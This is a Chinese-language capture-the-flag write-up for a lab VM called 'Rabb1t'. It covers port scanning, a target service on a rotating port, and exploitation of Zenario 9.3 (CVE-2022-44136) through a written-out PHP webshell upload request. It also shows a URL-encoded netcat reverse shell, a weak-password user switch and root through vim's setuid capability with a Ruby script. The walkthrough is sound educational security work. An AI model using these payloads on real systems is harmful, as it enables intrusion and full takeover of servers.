信息收集 服务探测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ❯ sudo arp-scan -l -I eth1 Interface: eth1, type : EN10MB, MAC: c0:b8:83:c5:6e:2b, IPv4: 192.168.47.89 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.47.155 08:00:27:f5:c1:b6 PCS Systemtechnik GmbH 192.168.47.206 56:0c:f3:da:11:de (Unknown: locally administered) ^C ❯ export ip=192.168.47.155 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-' `-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Open ports, closed hearts. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size ' -b 10140'. Open 192.168.47.155:22 Open 192.168.47.155:80 Open 192.168.47.155:1024 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 10:43 CST Initiating ARP Ping Scan at 10:43 Scanning 192.168.47.155 [1 port] Completed ARP Ping Scan at 10:43, 0.16s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:43 Completed Parallel DNS resolution of 1 host. at 10:43, 0.02s elapsed DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:43 Scanning 192.168.47.155 [3 ports] Discovered open port 80/tcp on 192.168.47.155 Discovered open port 22/tcp on 192.168.47.155 Completed SYN Stealth Scan at 10:43, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.47.155 Host is up, received arp-response (0.0019s latency). Scanned at 2025-07-21 10:43:21 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 1024/tcp closed kdm reset ttl 64 MAC Address: 08:00:27:F5:C1:B6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (156B)
目录枚举
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ❯ gobuster dir -u "http://$ip " -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403,502 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.47.155 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404,403,502 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,zip,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 1613] =============================================================== Finished ===============================================================
在80端口值存在一个静态页面,没什么价值
动态端口 不过我发现另一个端口一直在变化,一会1046一会1048开放
趁着这会端口开放,赶紧探测一下服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ whatweb $ip :1060 -v WhatWeb report for http://192.168.47.155:1060 Status : 502 Bad Gateway Title : <None> IP : 192.168.47.155 Country : RESERVED, ZZ Summary : Detected Plugins: HTTP Headers: HTTP/1.1 502 Bad Gateway Connection: close Content-Length: 0
有点问题,我尝试直接curl一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ❯ curl $ip :1132 -v --noproxy "*" * Trying 192.168.47.155:1132... * Connected to 192.168.47.155 (192.168.47.155) port 1132 * using HTTP/1.x > GET / HTTP/1.1 > Host: 192.168.47.155:1132 > User-Agent: curl/8.14.1 > Accept: */* > * Request completely sent off * HTTP 1.0, assume close after body < HTTP/1.0 200 OK < Server: BaseHTTP/0.6 Python/3.9.2 < Date: Mon, 21 Jul 2025 03:10:16 GMT < Server: nginx/1.18.0 < Date: Mon, 21 Jul 2025 03:10:16 GMT < Content-Type: text/html; charset=UTF-8 < Connection: close < Set-Cookie: PHPSESSID=5f5400420dcb753a2ba83f9f55377b63; expires=Mon, 21 Jul 2025 03:40:16 GMT; Max-Age=1800; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Set-Cookie: PHPSESSID=5f5400420dcb753a2ba83f9f55377b63; expires=Mon, 21 Jul 2025 03:40:16 GMT; Max-Age=1800; path=/; HttpOnly * Invalid Content-Length: value * closing connection curl: (8) Invalid Content-Length: value
一会又变了,但是你可以发现基准是1024,过一段时间+2,大概是10-15秒左右
这个curl报错curl: (8) Invalid Content-Length: value
无效的内容长度值
本来是想利用GPT写个基于动态端口实现的目录枚举,给出的代码又臭又长,遂放弃了
奇怪的是我使用curl就不能显示正常的html数据,而burpsuite就可以
我使用curl进行访问,利用burpsuite代理抓一下返回包
1 ❯ curl $ip :1174/index.php -v --proxy "127.0.0.1:8080"
从返回信息中可以得知,由nignx
进行反向代理,访问本地python
开放的8080
端口
从html的数据中在<meta>
元数据标签中得知的指纹信息是Zenario 9.3.57186
文件上传RCE 尝试寻找POC,发现是CVE-2022-44136
https://com0t.github.io/zenar.io/2022/10/18/Unauthent-RCE-Zenar.io~9.3.html
可以进行上传创建shell.php实现rce
具体的利用步骤如下
注意速度要快一点,否则端口就变了😅
1 2 3 4 5 6 7 8 9 10 11 12 POST /zenario/ajax.php?method_call=handlePluginAJAX&cID=1&slideId=0&cType=html&instanceId=20&fileUpload HTTP/1.1 Host : X.X.X.XUser-Agent : curl/8.14.1Content-Type : multipart/form-data;boundary=----WebKitFormBoundaryQoxiDY1vGdS5VJbZContent-Length : 215------WebKitFormBoundaryQoxiDY1vGdS5VJbZ Content-Disposition: form-data; name="Filedata" ; filename="rev.php" Content-Type: image/svg+xml <?php system ($_GET ['cmd' ]);?> ------WebKitFormBoundaryQoxiDY1vGdS5VJbZ--
在Repeater
中重放,如果端口变了在右上角修改目标端口,修改host头是没用的
上传后得到路径如下private/uploads/7j5TeQVdu8YQbKD1cgVlyhNw4DW9MA/rev.php
GET访问一下此路径
直接反弹shell回来,注意payload要url编码一下
1 2 3 4 5 GET /private/uploads/7j5TeQVdu8YQbKD1cgVlyhNw4DW9MA/rev.php?cmd=%62%75%73%79%62%6f%78%20%6e%63%20%31%39%32%2e%31%36%38%2e%34%37%2e%38%39%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68 HTTP/1.1 Host : 192.168.47.155User-Agent : curl/8.14.1Accept : */*Connection : keep-alive
用户提权 监听端口
1 2 3 4 5 6 7 8 9 10 ❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.47.89 • 172.18.0.1 • 172.19.0.1 • 172.17.0.1 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from Rabb1t~192.168.47.155-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/Rabb1t~192.168.47.155-Linux-x86_64/2025_07_21-15_44_06-998.log 📜 ───────────────────────────────────────────────────────────────────────────── www-data@Rabb1t:~/htm1/private/uploads/7j5TeQVdu8YQbKD1cgVlyhNw4DW9MA$
得知存在普通用户morii
1 2 3 www-data@Rabb1t:~/html$ cat /etc/passwd|grep /bin/bash root:x:0:0:root:/root:/bin/bash morii:x:1000:1000::/home/morii:/bin/bash
随便尝试一下弱密码,密码和用户名相同,结果就上去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 www-data@Rabb1t:~/html$ su morii Password: morii@Rabb1t:/var/www/html$ cd ~ morii@Rabb1t:~$ ls -al total 24 drwxr-xr-x 2 morii morii 4096 Jul 17 23:02 . drwxr-xr-x 3 root root 4096 Jul 17 04:10 .. lrwxrwxrwx 1 root root 9 Jul 17 11:08 .bash_history -> /dev/null -rw-r--r-- 1 morii morii 220 Apr 18 2019 .bash_logout -rw-r--r-- 1 morii morii 3526 Apr 18 2019 .bashrc -rw-r--r-- 1 morii morii 807 Apr 18 2019 .profile -rw-r--r-- 1 morii morii 32 Jul 17 11:09 user.txt morii@Rabb1t:~$ cat user.txt flag{user_Down the Rabbit-Hole}
虽然有sudo权限,但这个是没什么用的小游戏,开火车🤣恶搞
1 2 3 4 5 6 morii@Rabb1t:~$ sudo -l Matching Defaults entries for morii on Rabb1t: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/usr/games/ User morii may run the following commands on Rabb1t: (ALL) NOPASSWD: /usr/games/sl
Root提权 vim
存在cap_setsuid
的能力
1 2 3 4 morii@Rabb1t:~$ getcap -r / 2>/dev/null /usr/bin/vim = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
GTFOBins
直接秒了,提权是比较简单了
虽然靶机中vim版本不支持python,可以通过:version
查看支持哪些功能
得知可以执行ruby命令
利用ruby提权拿到shell
1 2 morii@Rabb1t:/tmp$ printf "Process::Sys.setuid(0)\nexec(\"/bin/bash\", \"-p\")\n" > /tmp/evil.rb morii@Rabb1t:/tmp$ vim -c "rubyfile /tmp/evil.rb"
不过这样操作之后的tty会有点问题,输入reset
就好了
1 2 3 4 root@Rabb1t:/tmp# id uid=0(root) gid=1000(morii) groups =1000(morii) root@Rabb1t:/tmp# cat /root/root.txt flag{root_Alice’s Evidence}
后记
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import timeimport threadingfrom http.server import HTTPServer, BaseHTTPRequestHandlerfrom urllib.request import Request, urlopenSTART_PORT = 1024 PORT_STEP = 2 SWITCH_INTERVAL = 30 class ProxyHandler (BaseHTTPRequestHandler ): def do_GET (self ): self .proxy_request() def do_POST (self ): self .proxy_request() def proxy_request (self ): try : content_length = int (self .headers.get("Content-Length" , 0 )) post_data = self .rfile.read(content_length) if content_length > 0 else None req = Request( url=f"http://127.0.0.1:8080{self.path} " , data=post_data, method=self .command, headers={k: v for k, v in self .headers.items() if k.lower() != "host" } ) with urlopen(req, timeout=10 ) as resp: self .send_response(resp.status) for header, value in resp.getheaders(): if header.lower() != "transfer-encoding" : self .send_header(header, value) self .send_header("Content-Length" , str (resp.length)) self .end_headers() self .wfile.write(resp.read()) except Exception as e: try : self .send_error(500 , f"Proxy Error: {e} " ) except BrokenPipeError: pass class DynamicPortServer : def __init__ (self ): self .current_port = START_PORT self .current_server = None self .server_thread = None self .running = True def run_server (self ): try : self .current_server = HTTPServer(("0.0.0.0" , self .current_port), ProxyHandler) print (f"[+] Listening on 0.0.0.0:{self.current_port} → Nginx:8080" ) self .current_server.serve_forever() except Exception as e: print (f"[!] Server error on port {self.current_port} : {e} " ) finally : if self .current_server: self .current_server.server_close() def stop_server (self ): if self .current_server: print (f"[*] Shutting down port {self.current_port} " ) self .current_server.shutdown() self .current_server.server_close() self .current_server = None def run (self ): try : while self .running: self .stop_server() self .server_thread = threading.Thread( target=self .run_server, daemon=True ) self .server_thread.start() time.sleep(SWITCH_INTERVAL) self .current_port = (self .current_port + PORT_STEP) % 65536 if self .current_port < 1024 : self .current_port = 1024 print (f"[*] Switching to port {self.current_port} " ) except KeyboardInterrupt: print ("\n[!] Server stopped by user (Ctrl+C)" ) finally : self .running = False self .stop_server() if __name__ == "__main__" : server = DynamicPortServer() server.run()